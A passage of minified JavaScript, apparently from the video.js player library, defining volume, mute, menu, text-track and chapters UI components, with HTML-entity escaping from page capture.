_this2=this,volume=100*rangeBarPoint;this.getChild(&quot;volumeLevelTooltip&quot;).updateVolume(rangeBarRect,rangeBarPoint,vertical,volume,(function(){vertical?_this2.el_.style.bottom=rangeBarRect.height*rangeBarPoint+&quot;px&quot;:_this2.el_.style.left=rangeBarRect.width*rangeBarPoint+&quot;px&quot;}))},MouseVolumeLevelDisplay}(Component$1);MouseVolumeLevelDisplay.prototype.options_={children:[&quot;volumeLevelTooltip&quot;]},Component$1.registerComponent(&quot;MouseVolumeLevelDisplay&quot;,MouseVolumeLevelDisplay);var VolumeBar=function(_Slider){function VolumeBar(player,options){var _this;return(_this=_Slider.call(this,player,options)||this).on(&quot;slideractive&quot;,(function(e){return _this.updateLastVolume_(e)})),_this.on(player,&quot;volumechange&quot;,(function(e){return _this.updateARIAAttributes(e)})),player.ready((function(){return _this.updateARIAAttributes()})),_this}inheritsLoose(VolumeBar,_Slider);var _proto=VolumeBar.prototype;return _proto.createEl=function(){return _Slider.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-volume-bar vjs-slider-bar&quot;},{&quot;aria-label&quot;:this.localize(&quot;Volume Level&quot;),&quot;aria-live&quot;:&quot;polite&quot;})},_proto.handleMouseDown=function(event){isSingleLeftClick(event)&amp;&amp;_Slider.prototype.handleMouseDown.call(this,event)},_proto.handleMouseMove=function(event){var mouseVolumeLevelDisplay=this.getChild(&quot;mouseVolumeLevelDisplay&quot;);if(mouseVolumeLevelDisplay){var volumeBarEl=this.el(),volumeBarRect=getBoundingClientRect(volumeBarEl),vertical=this.vertical(),volumeBarPoint=getPointerPosition(volumeBarEl,event);volumeBarPoint=vertical?volumeBarPoint.y:volumeBarPoint.x,volumeBarPoint=clamp(volumeBarPoint,0,1),mouseVolumeLevelDisplay.update(volumeBarRect,volumeBarPoint,vertical)}isSingleLeftClick(event)&amp;&amp;(this.checkMuted(),this.player_.volume(this.calculateDistance(event)))},_proto.checkMuted=function(){this.player_.muted()&amp;&amp;this.player_.muted(!1)},_proto.getPercent=function(){return this.player_.muted()?0:this.player_.volume()},_proto.stepForward=function(){this.checkMuted(),this.player_.volume(this.player_.volume()+.1)},_proto.stepBack=function(){this.checkMuted(),this.player_.volume(this.player_.volume()-.1)},_proto.updateARIAAttributes=function(event){var ariaValue=this.player_.muted()?0:this.volumeAsPercentage_();this.el_.setAttribute(&quot;aria-valuenow&quot;,ariaValue),this.el_.setAttribute(&quot;aria-valuetext&quot;,ariaValue+&quot;%&quot;)},_proto.volumeAsPercentage_=function(){return Math.round(100*this.player_.volume())},_proto.updateLastVolume_=function(){var _this2=this,volumeBeforeDrag=this.player_.volume();this.one(&quot;sliderinactive&quot;,(function(){0===_this2.player_.volume()&amp;&amp;_this2.player_.lastVolume_(volumeBeforeDrag)}))},VolumeBar}(Slider);VolumeBar.prototype.options_={children:[&quot;volumeLevel&quot;],barName:&quot;volumeLevel&quot;},IS_IOS||IS_ANDROID||VolumeBar.prototype.options_.children.splice(0,0,&quot;mouseVolumeLevelDisplay&quot;),VolumeBar.prototype.playerEvent=&quot;volumechange&quot;,Component$1.registerComponent(&quot;VolumeBar&quot;,VolumeBar);var VolumeControl=function(_Component){function VolumeControl(player,options){var _this;return void 0===options&amp;&amp;(options={}),options.vertical=options.vertical||!1,(void 0===options.volumeBar||isPlain(options.volumeBar))&amp;&amp;(options.volumeBar=options.volumeBar||{},options.volumeBar.vertical=options.vertical),_this=_Component.call(this,player,options)||this,function(self,player){player.tech_&amp;&amp;!player.tech_.featuresVolumeControl&amp;&amp;self.addClass(&quot;vjs-hidden&quot;),self.on(player,&quot;loadstart&quot;,(function(){player.tech_.featuresVolumeControl?self.removeClass(&quot;vjs-hidden&quot;):self.addClass(&quot;vjs-hidden&quot;)}))}(assertThisInitialized(_this),player),_this.throttledHandleMouseMove=throttle(bind(assertThisInitialized(_this),_this.handleMouseMove),30),_this.handleMouseUpHandler_=function(e){return _this.handleMouseUp(e)},_this.on(&quot;mousedown&quot;,(function(e){return _this.handleMouseDown(e)})),_this.on(&quot;touchstart&quot;,(function(e){return _this.handleMouseDown(e)})),_this.on(&quot;mousemove&quot;,(function(e){return _this.handleMouseMove(e)})),_this.on(_this.volumeBar,[&quot;focus&quot;,&quot;slideractive&quot;],(function(){_this.volumeBar.addClass(&quot;vjs-slider-active&quot;),_this.addClass(&quot;vjs-slider-active&quot;),_this.trigger(&quot;slideractive&quot;)})),_this.on(_this.volumeBar,[&quot;blur&quot;,&quot;sliderinactive&quot;],(function(){_this.volumeBar.removeClass(&quot;vjs-slider-active&quot;),_this.removeClass(&quot;vjs-slider-active&quot;),_this.trigger(&quot;sliderinactive&quot;)})),_this}inheritsLoose(VolumeControl,_Component);var _proto=VolumeControl.prototype;return _proto.createEl=function(){var orientationClass=&quot;vjs-volume-horizontal&quot;;return this.options_.vertical&amp;&amp;(orientationClass=&quot;vjs-volume-vertical&quot;),_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-volume-control vjs-control &quot;+orientationClass})},_proto.handleMouseDown=function(event){var doc=this.el_.ownerDocument;this.on(doc,&quot;mousemove&quot;,this.throttledHandleMouseMove),this.on(doc,&quot;touchmove&quot;,this.throttledHandleMouseMove),this.on(doc,&quot;mouseup&quot;,this.handleMouseUpHandler_),this.on(doc,&quot;touchend&quot;,this.handleMouseUpHandler_)},_proto.handleMouseUp=function(event){var doc=this.el_.ownerDocument;this.off(doc,&quot;mousemove&quot;,this.throttledHandleMouseMove),this.off(doc,&quot;touchmove&quot;,this.throttledHandleMouseMove),this.off(doc,&quot;mouseup&quot;,this.handleMouseUpHandler_),this.off(doc,&quot;touchend&quot;,this.handleMouseUpHandler_)},_proto.handleMouseMove=function(event){this.volumeBar.handleMouseMove(event)},VolumeControl}(Component$1);VolumeControl.prototype.options_={children:[&quot;volumeBar&quot;]},Component$1.registerComponent(&quot;VolumeControl&quot;,VolumeControl);var MuteToggle=function(_Button){function MuteToggle(player,options){var _this;return _this=_Button.call(this,player,options)||this,function(self,player){player.tech_&amp;&amp;!player.tech_.featuresMuteControl&amp;&amp;self.addClass(&quot;vjs-hidden&quot;),self.on(player,&quot;loadstart&quot;,(function(){player.tech_.featuresMuteControl?self.removeClass(&quot;vjs-hidden&quot;):self.addClass(&quot;vjs-hidden&quot;)}))}(assertThisInitialized(_this),player),_this.on(player,[&quot;loadstart&quot;,&quot;volumechange&quot;],(function(e){return _this.update(e)})),_this}inheritsLoose(MuteToggle,_Button);var _proto=MuteToggle.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-mute-control &quot;+_Button.prototype.buildCSSClass.call(this)},_proto.handleClick=function(event){var vol=this.player_.volume(),lastVolume=this.player_.lastVolume_();if(0===vol){var volumeToSet=lastVolume&lt;.1?.1:lastVolume;this.player_.volume(volumeToSet),this.player_.muted(!1)}else this.player_.muted(!this.player_.muted())},_proto.update=function(event){this.updateIcon_(),this.updateControlText_()},_proto.updateIcon_=function(){var vol=this.player_.volume(),level=3;IS_IOS&amp;&amp;this.player_.tech_&amp;&amp;this.player_.tech_.el_&amp;&amp;this.player_.muted(this.player_.tech_.el_.muted),0===vol||this.player_.muted()?level=0:vol&lt;.33?level=1:vol&lt;.67&amp;&amp;(level=2);for(var i=0;i&lt;4;i++)removeClass(this.el_,&quot;vjs-vol-&quot;+i);addClass(this.el_,&quot;vjs-vol-&quot;+level)},_proto.updateControlText_=function(){var text=this.player_.muted()||0===this.player_.volume()?&quot;Unmute&quot;:&quot;Mute&quot;;this.controlText()!==text&amp;&amp;this.controlText(text)},MuteToggle}(Button);MuteToggle.prototype.controlText_=&quot;Mute&quot;,Component$1.registerComponent(&quot;MuteToggle&quot;,MuteToggle);var VolumePanel=function(_Component){function VolumePanel(player,options){var _this;return void 0===options&amp;&amp;(options={}),void 0!==options.inline?options.inline=options.inline:options.inline=!0,(void 0===options.volumeControl||isPlain(options.volumeControl))&amp;&amp;(options.volumeControl=options.volumeControl||{},options.volumeControl.vertical=!options.inline),(_this=_Component.call(this,player,options)||this).handleKeyPressHandler_=function(e){return _this.handleKeyPress(e)},_this.on(player,[&quot;loadstart&quot;],(function(e){return _this.volumePanelState_(e)})),_this.on(_this.muteToggle,&quot;keyup&quot;,(function(e){return _this.handleKeyPress(e)})),_this.on(_this.volumeControl,&quot;keyup&quot;,(function(e){return _this.handleVolumeControlKeyUp(e)})),_this.on(&quot;keydown&quot;,(function(e){return _this.handleKeyPress(e)})),_this.on(&quot;mouseover&quot;,(function(e){return _this.handleMouseOver(e)})),_this.on(&quot;mouseout&quot;,(function(e){return _this.handleMouseOut(e)})),_this.on(_this.volumeControl,[&quot;slideractive&quot;],_this.sliderActive_),_this.on(_this.volumeControl,[&quot;sliderinactive&quot;],_this.sliderInactive_),_this}inheritsLoose(VolumePanel,_Component);var _proto=VolumePanel.prototype;return _proto.sliderActive_=function(){this.addClass(&quot;vjs-slider-active&quot;)},_proto.sliderInactive_=function(){this.removeClass(&quot;vjs-slider-active&quot;)},_proto.volumePanelState_=function(){this.volumeControl.hasClass(&quot;vjs-hidden&quot;)&amp;&amp;this.muteToggle.hasClass(&quot;vjs-hidden&quot;)&amp;&amp;this.addClass(&quot;vjs-hidden&quot;),this.volumeControl.hasClass(&quot;vjs-hidden&quot;)&amp;&amp;!this.muteToggle.hasClass(&quot;vjs-hidden&quot;)&amp;&amp;this.addClass(&quot;vjs-mute-toggle-only&quot;)},_proto.createEl=function(){var orientationClass=&quot;vjs-volume-panel-horizontal&quot;;return this.options_.inline||(orientationClass=&quot;vjs-volume-panel-vertical&quot;),_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-volume-panel vjs-control &quot;+orientationClass})},_proto.dispose=function(){this.handleMouseOut(),_Component.prototype.dispose.call(this)},_proto.handleVolumeControlKeyUp=function(event){keycode.isEventKey(event,&quot;Esc&quot;)&amp;&amp;this.muteToggle.focus()},_proto.handleMouseOver=function(event){this.addClass(&quot;vjs-hover&quot;),on(document,&quot;keyup&quot;,this.handleKeyPressHandler_)},_proto.handleMouseOut=function(event){this.removeClass(&quot;vjs-hover&quot;),off(document,&quot;keyup&quot;,this.handleKeyPressHandler_)},_proto.handleKeyPress=function(event){keycode.isEventKey(event,&quot;Esc&quot;)&amp;&amp;this.handleMouseOut()},VolumePanel}(Component$1);VolumePanel.prototype.options_={children:[&quot;muteToggle&quot;,&quot;volumeControl&quot;]},Component$1.registerComponent(&quot;VolumePanel&quot;,VolumePanel);var Menu=function(_Component){function Menu(player,options){var _this;return _this=_Component.call(this,player,options)||this,options&amp;&amp;(_this.menuButton_=options.menuButton),_this.focusedChild_=-1,_this.on(&quot;keydown&quot;,(function(e){return _this.handleKeyDown(e)})),_this.boundHandleBlur_=function(e){return _this.handleBlur(e)},_this.boundHandleTapClick_=function(e){return _this.handleTapClick(e)},_this}inheritsLoose(Menu,_Component);var _proto=Menu.prototype;return _proto.addEventListenerForItem=function(component){component instanceof Component$1&amp;&amp;(this.on(component,&quot;blur&quot;,this.boundHandleBlur_),this.on(component,[&quot;tap&quot;,&quot;click&quot;],this.boundHandleTapClick_))},_proto.removeEventListenerForItem=function(component){component instanceof Component$1&amp;&amp;(this.off(component,&quot;blur&quot;,this.boundHandleBlur_),this.off(component,[&quot;tap&quot;,&quot;click&quot;],this.boundHandleTapClick_))},_proto.removeChild=function(component){&quot;string&quot;==typeof component&amp;&amp;(component=this.getChild(component)),this.removeEventListenerForItem(component),_Component.prototype.removeChild.call(this,component)},_proto.addItem=function(component){var childComponent=this.addChild(component);childComponent&amp;&amp;this.addEventListenerForItem(childComponent)},_proto.createEl=function(){var contentElType=this.options_.contentElType||&quot;ul&quot;;this.contentEl_=createEl(contentElType,{className:&quot;vjs-menu-content&quot;}),this.contentEl_.setAttribute(&quot;role&quot;,&quot;menu&quot;);var el=_Component.prototype.createEl.call(this,&quot;div&quot;,{append:this.contentEl_,className:&quot;vjs-menu&quot;});return el.appendChild(this.contentEl_),on(el,&quot;click&quot;,(function(event){event.preventDefault(),event.stopImmediatePropagation()})),el},_proto.dispose=function(){this.contentEl_=null,this.boundHandleBlur_=null,this.boundHandleTapClick_=null,_Component.prototype.dispose.call(this)},_proto.handleBlur=function(event){var relatedTarget=event.relatedTarget||document.activeElement;if(!this.children().some((function(element){return element.el()===relatedTarget}))){var btn=this.menuButton_;btn&amp;&amp;btn.buttonPressed_&amp;&amp;relatedTarget!==btn.el().firstChild&amp;&amp;btn.unpressButton()}},_proto.handleTapClick=function(event){if(this.menuButton_){this.menuButton_.unpressButton();var childComponents=this.children();if(!Array.isArray(childComponents))return;var foundComponent=childComponents.filter((function(component){return component.el()===event.target}))[0];if(!foundComponent)return;&quot;CaptionSettingsMenuItem&quot;!==foundComponent.name()&amp;&amp;this.menuButton_.focus()}},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Left&quot;)||keycode.isEventKey(event,&quot;Down&quot;)?(event.preventDefault(),event.stopPropagation(),this.stepForward()):(keycode.isEventKey(event,&quot;Right&quot;)||keycode.isEventKey(event,&quot;Up&quot;))&amp;&amp;(event.preventDefault(),event.stopPropagation(),this.stepBack())},_proto.stepForward=function(){var stepChild=0;void 0!==this.focusedChild_&amp;&amp;(stepChild=this.focusedChild_+1),this.focus(stepChild)},_proto.stepBack=function(){var stepChild=0;void 0!==this.focusedChild_&amp;&amp;(stepChild=this.focusedChild_-1),this.focus(stepChild)},_proto.focus=function(item){void 0===item&amp;&amp;(item=0);var children=this.children().slice();children.length&amp;&amp;children[0].hasClass(&quot;vjs-menu-title&quot;)&amp;&amp;children.shift(),children.length&gt;0&amp;&amp;(item&lt;0?item=0:item&gt;=children.length&amp;&amp;(item=children.length-1),this.focusedChild_=item,children[item].el_.focus())},Menu}(Component$1);Component$1.registerComponent(&quot;Menu&quot;,Menu);var MenuButton=function(_Component){function MenuButton(player,options){var _this;void 0===options&amp;&amp;(options={}),(_this=_Component.call(this,player,options)||this).menuButton_=new Button(player,options),_this.menuButton_.controlText(_this.controlText_),_this.menuButton_.el_.setAttribute(&quot;aria-haspopup&quot;,&quot;true&quot;);var buttonClass=Button.prototype.buildCSSClass();_this.menuButton_.el_.className=_this.buildCSSClass()+&quot; &quot;+buttonClass,_this.menuButton_.removeClass(&quot;vjs-control&quot;),_this.addChild(_this.menuButton_),_this.update(),_this.enabled_=!0;var handleClick=function(e){return _this.handleClick(e)};return _this.handleMenuKeyUp_=function(e){return _this.handleMenuKeyUp(e)},_this.on(_this.menuButton_,&quot;tap&quot;,handleClick),_this.on(_this.menuButton_,&quot;click&quot;,handleClick),_this.on(_this.menuButton_,&quot;keydown&quot;,(function(e){return _this.handleKeyDown(e)})),_this.on(_this.menuButton_,&quot;mouseenter&quot;,(function(){_this.addClass(&quot;vjs-hover&quot;),_this.menu.show(),on(document,&quot;keyup&quot;,_this.handleMenuKeyUp_)})),_this.on(&quot;mouseleave&quot;,(function(e){return _this.handleMouseLeave(e)})),_this.on(&quot;keydown&quot;,(function(e){return _this.handleSubmenuKeyDown(e)})),_this}inheritsLoose(MenuButton,_Component);var _proto=MenuButton.prototype;return _proto.update=function(){var menu=this.createMenu();this.menu&amp;&amp;(this.menu.dispose(),this.removeChild(this.menu)),this.menu=menu,this.addChild(menu),this.buttonPressed_=!1,this.menuButton_.el_.setAttribute(&quot;aria-expanded&quot;,&quot;false&quot;),this.items&amp;&amp;this.items.length&lt;=this.hideThreshold_?this.hide():this.show()},_proto.createMenu=function(){var menu=new Menu(this.player_,{menuButton:this});if(this.hideThreshold_=0,this.options_.title){var titleEl=createEl(&quot;li&quot;,{className:&quot;vjs-menu-title&quot;,textContent:toTitleCase$1(this.options_.title),tabIndex:-1}),titleComponent=new Component$1(this.player_,{el:titleEl});menu.addItem(titleComponent)}if(this.items=this.createItems(),this.items)for(var i=0;i&lt;this.items.length;i++)menu.addItem(this.items[i]);return menu},_proto.createItems=function(){},_proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:this.buildWrapperCSSClass()},{})},_proto.buildWrapperCSSClass=function(){var menuButtonClass=&quot;vjs-menu-button&quot;;return!0===this.options_.inline?menuButtonClass+=&quot;-inline&quot;:menuButtonClass+=&quot;-popup&quot;,&quot;vjs-menu-button &quot;+menuButtonClass+&quot; &quot;+Button.prototype.buildCSSClass()+&quot; &quot;+_Component.prototype.buildCSSClass.call(this)},_proto.buildCSSClass=function(){var menuButtonClass=&quot;vjs-menu-button&quot;;return!0===this.options_.inline?menuButtonClass+=&quot;-inline&quot;:menuButtonClass+=&quot;-popup&quot;,&quot;vjs-menu-button &quot;+menuButtonClass+&quot; &quot;+_Component.prototype.buildCSSClass.call(this)},_proto.controlText=function(text,el){return void 0===el&amp;&amp;(el=this.menuButton_.el()),this.menuButton_.controlText(text,el)},_proto.dispose=function(){this.handleMouseLeave(),_Component.prototype.dispose.call(this)},_proto.handleClick=function(event){this.buttonPressed_?this.unpressButton():this.pressButton()},_proto.handleMouseLeave=function(event){this.removeClass(&quot;vjs-hover&quot;),off(document,&quot;keyup&quot;,this.handleMenuKeyUp_)},_proto.focus=function(){this.menuButton_.focus()},_proto.blur=function(){this.menuButton_.blur()},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Esc&quot;)||keycode.isEventKey(event,&quot;Tab&quot;)?(this.buttonPressed_&amp;&amp;this.unpressButton(),keycode.isEventKey(event,&quot;Tab&quot;)||(event.preventDefault(),this.menuButton_.focus())):(keycode.isEventKey(event,&quot;Up&quot;)||keycode.isEventKey(event,&quot;Down&quot;))&amp;&amp;(this.buttonPressed_||(event.preventDefault(),this.pressButton()))},_proto.handleMenuKeyUp=function(event){(keycode.isEventKey(event,&quot;Esc&quot;)||keycode.isEventKey(event,&quot;Tab&quot;))&amp;&amp;this.removeClass(&quot;vjs-hover&quot;)},_proto.handleSubmenuKeyPress=function(event){this.handleSubmenuKeyDown(event)},_proto.handleSubmenuKeyDown=function(event){(keycode.isEventKey(event,&quot;Esc&quot;)||keycode.isEventKey(event,&quot;Tab&quot;))&amp;&amp;(this.buttonPressed_&amp;&amp;this.unpressButton(),keycode.isEventKey(event,&quot;Tab&quot;)||(event.preventDefault(),this.menuButton_.focus()))},_proto.pressButton=function(){if(this.enabled_){if(this.buttonPressed_=!0,this.menu.show(),this.menu.lockShowing(),this.menuButton_.el_.setAttribute(&quot;aria-expanded&quot;,&quot;true&quot;),IS_IOS&amp;&amp;isInFrame())return;this.menu.focus()}},_proto.unpressButton=function(){this.enabled_&amp;&amp;(this.buttonPressed_=!1,this.menu.unlockShowing(),this.menu.hide(),this.menuButton_.el_.setAttribute(&quot;aria-expanded&quot;,&quot;false&quot;))},_proto.disable=function(){this.unpressButton(),this.enabled_=!1,this.addClass(&quot;vjs-disabled&quot;),this.menuButton_.disable()},_proto.enable=function(){this.enabled_=!0,this.removeClass(&quot;vjs-disabled&quot;),this.menuButton_.enable()},MenuButton}(Component$1);Component$1.registerComponent(&quot;MenuButton&quot;,MenuButton);var TrackButton=function(_MenuButton){function TrackButton(player,options){var _this,tracks=options.tracks;if((_this=_MenuButton.call(this,player,options)||this).items.length&lt;=1&amp;&amp;_this.hide(),!tracks)return assertThisInitialized(_this);var updateHandler=bind(assertThisInitialized(_this),_this.update);return tracks.addEventListener(&quot;removetrack&quot;,updateHandler),tracks.addEventListener(&quot;addtrack&quot;,updateHandler),tracks.addEventListener(&quot;labelchange&quot;,updateHandler),_this.player_.on(&quot;ready&quot;,updateHandler),_this.player_.on(&quot;dispose&quot;,(function(){tracks.removeEventListener(&quot;removetrack&quot;,updateHandler),tracks.removeEventListener(&quot;addtrack&quot;,updateHandler),tracks.removeEventListener(&quot;labelchange&quot;,updateHandler)})),_this}return inheritsLoose(TrackButton,_MenuButton),TrackButton}(MenuButton);Component$1.registerComponent(&quot;TrackButton&quot;,TrackButton);var MenuKeys=[&quot;Tab&quot;,&quot;Esc&quot;,&quot;Up&quot;,&quot;Down&quot;,&quot;Right&quot;,&quot;Left&quot;],MenuItem=function(_ClickableComponent){function MenuItem(player,options){var _this;return(_this=_ClickableComponent.call(this,player,options)||this).selectable=options.selectable,_this.isSelected_=options.selected||!1,_this.multiSelectable=options.multiSelectable,_this.selected(_this.isSelected_),_this.selectable?_this.multiSelectable?_this.el_.setAttribute(&quot;role&quot;,&quot;menuitemcheckbox&quot;):_this.el_.setAttribute(&quot;role&quot;,&quot;menuitemradio&quot;):_this.el_.setAttribute(&quot;role&quot;,&quot;menuitem&quot;),_this}inheritsLoose(MenuItem,_ClickableComponent);var _proto=MenuItem.prototype;return _proto.createEl=function(type,props,attrs){this.nonIconControl=!0;var el=_ClickableComponent.prototype.createEl.call(this,&quot;li&quot;,assign({className:&quot;vjs-menu-item&quot;,tabIndex:-1},props),attrs);return el.replaceChild(createEl(&quot;span&quot;,{className:&quot;vjs-menu-item-text&quot;,textContent:this.localize(this.options_.label)}),el.querySelector(&quot;.vjs-icon-placeholder&quot;)),el},_proto.handleKeyDown=function(event){MenuKeys.some((function(key){return keycode.isEventKey(event,key)}))||_ClickableComponent.prototype.handleKeyDown.call(this,event)},_proto.handleClick=function(event){this.selected(!0)},_proto.selected=function(_selected){this.selectable&amp;&amp;(_selected?(this.addClass(&quot;vjs-selected&quot;),this.el_.setAttribute(&quot;aria-checked&quot;,&quot;true&quot;),this.controlText(&quot;, selected&quot;),this.isSelected_=!0):(this.removeClass(&quot;vjs-selected&quot;),this.el_.setAttribute(&quot;aria-checked&quot;,&quot;false&quot;),this.controlText(&quot;&quot;),this.isSelected_=!1))},MenuItem}(ClickableComponent);Component$1.registerComponent(&quot;MenuItem&quot;,MenuItem);var TextTrackMenuItem=function(_MenuItem){function TextTrackMenuItem(player,options){var _this,track=options.track,tracks=player.textTracks();options.label=track.label||track.language||&quot;Unknown&quot;,options.selected=&quot;showing&quot;===track.mode,(_this=_MenuItem.call(this,player,options)||this).track=track,_this.kinds=(options.kinds||[options.kind||_this.track.kind]).filter(Boolean);var event,changeHandler=function(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];_this.handleTracksChange.apply(assertThisInitialized(_this),args)},selectedLanguageChangeHandler=function(){for(var _len2=arguments.length,args=new Array(_len2),_key2=0;_key2&lt;_len2;_key2++)args[_key2]=arguments[_key2];_this.handleSelectedLanguageChange.apply(assertThisInitialized(_this),args)};(player.on([&quot;loadstart&quot;,&quot;texttrackchange&quot;],changeHandler),tracks.addEventListener(&quot;change&quot;,changeHandler),tracks.addEventListener(&quot;selectedlanguagechange&quot;,selectedLanguageChangeHandler),_this.on(&quot;dispose&quot;,(function(){player.off([&quot;loadstart&quot;,&quot;texttrackchange&quot;],changeHandler),tracks.removeEventListener(&quot;change&quot;,changeHandler),tracks.removeEventListener(&quot;selectedlanguagechange&quot;,selectedLanguageChangeHandler)})),void 0===tracks.onchange)&amp;&amp;_this.on([&quot;tap&quot;,&quot;click&quot;],(function(){if(&quot;object&quot;!=typeof window.Event)try{event=new window.Event(&quot;change&quot;)}catch(err){}event||(event=document.createEvent(&quot;Event&quot;)).initEvent(&quot;change&quot;,!0,!0),tracks.dispatchEvent(event)}));return _this.handleTracksChange(),_this}inheritsLoose(TextTrackMenuItem,_MenuItem);var _proto=TextTrackMenuItem.prototype;return _proto.handleClick=function(event){var referenceTrack=this.track,tracks=this.player_.textTracks();if(_MenuItem.prototype.handleClick.call(this,event),tracks)for(var i=0;i&lt;tracks.length;i++){var track=tracks[i];-1!==this.kinds.indexOf(track.kind)&amp;&amp;(track===referenceTrack?&quot;showing&quot;!==track.mode&amp;&amp;(track.mode=&quot;showing&quot;):&quot;disabled&quot;!==track.mode&amp;&amp;(track.mode=&quot;disabled&quot;))}},_proto.handleTracksChange=function(event){var shouldBeSelected=&quot;showing&quot;===this.track.mode;shouldBeSelected!==this.isSelected_&amp;&amp;this.selected(shouldBeSelected)},_proto.handleSelectedLanguageChange=function(event){if(&quot;showing&quot;===this.track.mode){var selectedLanguage=this.player_.cache_.selectedLanguage;if(selectedLanguage&amp;&amp;selectedLanguage.enabled&amp;&amp;selectedLanguage.language===this.track.language&amp;&amp;selectedLanguage.kind!==this.track.kind)return;this.player_.cache_.selectedLanguage={enabled:!0,language:this.track.language,kind:this.track.kind}}},_proto.dispose=function(){this.track=null,_MenuItem.prototype.dispose.call(this)},TextTrackMenuItem}(MenuItem);Component$1.registerComponent(&quot;TextTrackMenuItem&quot;,TextTrackMenuItem);var OffTextTrackMenuItem=function(_TextTrackMenuItem){function OffTextTrackMenuItem(player,options){return options.track={player:player,kind:options.kind,kinds:options.kinds,default:!1,mode:&quot;disabled&quot;},options.kinds||(options.kinds=[options.kind]),options.label?options.track.label=options.label:options.track.label=options.kinds.join(&quot; and &quot;)+&quot; off&quot;,options.selectable=!0,options.multiSelectable=!1,_TextTrackMenuItem.call(this,player,options)||this}inheritsLoose(OffTextTrackMenuItem,_TextTrackMenuItem);var _proto=OffTextTrackMenuItem.prototype;return _proto.handleTracksChange=function(event){for(var tracks=this.player().textTracks(),shouldBeSelected=!0,i=0,l=tracks.length;i&lt;l;i++){var track=tracks[i];if(this.options_.kinds.indexOf(track.kind)&gt;-1&amp;&amp;&quot;showing&quot;===track.mode){shouldBeSelected=!1;break}}shouldBeSelected!==this.isSelected_&amp;&amp;this.selected(shouldBeSelected)},_proto.handleSelectedLanguageChange=function(event){for(var tracks=this.player().textTracks(),allHidden=!0,i=0,l=tracks.length;i&lt;l;i++){var track=tracks[i];if([&quot;captions&quot;,&quot;descriptions&quot;,&quot;subtitles&quot;].indexOf(track.kind)&gt;-1&amp;&amp;&quot;showing&quot;===track.mode){allHidden=!1;break}}allHidden&amp;&amp;(this.player_.cache_.selectedLanguage={enabled:!1})},OffTextTrackMenuItem}(TextTrackMenuItem);Component$1.registerComponent(&quot;OffTextTrackMenuItem&quot;,OffTextTrackMenuItem);var TextTrackButton=function(_TrackButton){function TextTrackButton(player,options){return void 0===options&amp;&amp;(options={}),options.tracks=player.textTracks(),_TrackButton.call(this,player,options)||this}return inheritsLoose(TextTrackButton,_TrackButton),TextTrackButton.prototype.createItems=function(items,TrackMenuItem){var label;void 0===items&amp;&amp;(items=[]),void 0===TrackMenuItem&amp;&amp;(TrackMenuItem=TextTrackMenuItem),this.label_&amp;&amp;(label=this.label_+&quot; off&quot;),items.push(new OffTextTrackMenuItem(this.player_,{kinds:this.kinds_,kind:this.kind_,label:label})),this.hideThreshold_+=1;var tracks=this.player_.textTracks();Array.isArray(this.kinds_)||(this.kinds_=[this.kind_]);for(var i=0;i&lt;tracks.length;i++){var track=tracks[i];if(this.kinds_.indexOf(track.kind)&gt;-1){var item=new TrackMenuItem(this.player_,{track:track,kinds:this.kinds_,kind:this.kind_,selectable:!0,multiSelectable:!1});item.addClass(&quot;vjs-&quot;+track.kind+&quot;-menu-item&quot;),items.push(item)}}return items},TextTrackButton}(TrackButton);Component$1.registerComponent(&quot;TextTrackButton&quot;,TextTrackButton);var ChaptersTrackMenuItem=function(_MenuItem){function ChaptersTrackMenuItem(player,options){var _this,track=options.track,cue=options.cue,currentTime=player.currentTime();return options.selectable=!0,options.multiSelectable=!1,options.label=cue.text,options.selected=cue.startTime&lt;=currentTime&amp;&amp;currentTime&lt;cue.endTime,(_this=_MenuItem.call(this,player,options)||this).track=track,_this.cue=cue,track.addEventListener(&quot;cuechange&quot;,bind(assertThisInitialized(_this),_this.update)),_this}inheritsLoose(ChaptersTrackMenuItem,_MenuItem);var _proto=ChaptersTrackMenuItem.prototype;return _proto.handleClick=function(event){_MenuItem.prototype.handleClick.call(this),this.player_.currentTime(this.cue.startTime),this.update(this.cue.startTime)},_proto.update=function(event){var cue=this.cue,currentTime=this.player_.currentTime();this.selected(cue.startTime&lt;=currentTime&amp;&amp;currentTime&lt;cue.endTime)},ChaptersTrackMenuItem}(MenuItem);Component$1.registerComponent(&quot;ChaptersTrackMenuItem&quot;,ChaptersTrackMenuItem);var ChaptersButton=function(_TextTrackButton){function ChaptersButton(player,options,ready){return _TextTrackButton.call(this,player,options,ready)||this}inheritsLoose(ChaptersButton,_TextTrackButton);var _proto=ChaptersButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-chapters-button &quot;+_TextTrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-chapters-button &quot;+_TextTrackButton.prototype.buildWrapperCSSClass.call(this)},_proto.update=function(event){this.track_&amp;&amp;(!event||&quot;addtrack&quot;!==event.type&amp;&amp;&quot;removetrack&quot;!==event.type)||this.setTrack(this.findChaptersTrack()),_TextTrackButton.prototype.update.call(this)},_proto.setTrack=function(track){if(this.track_!==track){if(this.updateHandler_||(this.updateHandler_=this.update.bind(this)),this.track_){var remoteTextTrackEl=this.player_.remoteTextTrackEls().getTrackElementByTrack_(this.track_);remoteTextTrackEl&amp;&amp;remoteTextTrackEl.removeEventListener(&quot;load&quot;,this.updateHandler_),this.track_=null}if(this.track_=track,this.track_){this.track_.mode=&quot;hidden&quot;;var _remoteTextTrackEl=this.player_.remoteTextTrackEls().getTrackElementByTrack_(this.track_);_remoteTextTrackEl&amp;&amp;_remoteTextTrackEl.addEventListener(&quot;load&quot;,this.updateHandler_)}}},_proto.findChaptersTrack=function(){for(var tracks=this.player_.textTracks()||[],i=tracks.length-1;i&gt;=0;i--){var track=tracks[i];if(track.kind===this.kind_)return track}},_proto.getMenuCaption=function(){return this.track_&amp;&amp;this.track_.label?this.track_.label:this.localize(toTitleCase$1(this.kind_))},_proto.createMenu=function(){return this.options_.title=this.getMenuCaption(),_TextTrackButton.prototype.createMenu.call(this)},_proto.createItems=function(){var items=[];if(!this.track_)return items;var cues=this.track_.cues;if(!cues)return items;for(var 